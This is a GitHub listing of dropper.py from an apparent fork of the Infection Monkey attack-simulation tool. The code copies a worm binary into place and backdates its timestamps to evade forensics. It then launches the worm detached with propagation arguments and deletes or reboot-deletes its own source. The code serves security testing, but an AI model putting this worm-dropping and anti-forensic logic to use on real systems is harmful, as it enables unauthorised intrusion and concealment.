forked from guardicore/monkey
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdropper.py
More file actions
157 lines (128 loc) · 6.63 KB
/
dropper.py
File metadata and controls
157 lines (128 loc) · 6.63 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
import argparse
import ctypes
import logging
import os
import pprint
import shutil
import subprocess
import sys
import time
from ctypes import c_char_p
from config import WormConfiguration
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object):
def __init__(self, args):
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth', type=int)
arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args)
self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': self.opts.location}
def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
if self._config['destination_path'] is None:
LOG.error("No destination path specified")
return False
# we copy/move only in case path is different
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])
# first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first:
try:
shutil.move(self._config['source_path'],
self._config['destination_path'])
LOG.info("Moved source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
file_moved = True
except (WindowsError, IOError, OSError) as exc:
LOG.debug("Error moving source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
# if file still need to change path, copy it
if not file_moved:
try:
shutil.copy(self._config['source_path'],
self._config['destination_path'])
LOG.info("Copied source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
except (WindowsError, IOError, OSError) as exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
return False
if WormConfiguration.dropper_set_date:
if sys.platform == 'win32':
dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows)
else:
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
except OSError as exc:
LOG.warn("Cannot set reference date using '%s', file not found",
dropper_date_reference_path)
else:
try:
os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime))
except:
LOG.warn("Cannot set reference date to destination file")
monkey_options =\
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
else:
dest_path = self._config['destination_path']
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
# runs the monkey
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
'monkey_commandline': inner_monkey_cmdline}
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)
LOG.info("Executed monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline)
time.sleep(3)
if monkey_process.poll() is not None:
LOG.warn("Seems like monkey died too soon")
def cleanup(self):
try:
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
os.path.exists(self._config['source_path']) and \
WormConfiguration.dropper_try_move_first:
# try removing the file first
try:
os.remove(self._config['source_path'])
except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
except AttributeError:
LOG.error("Invalid configuration options. Failing")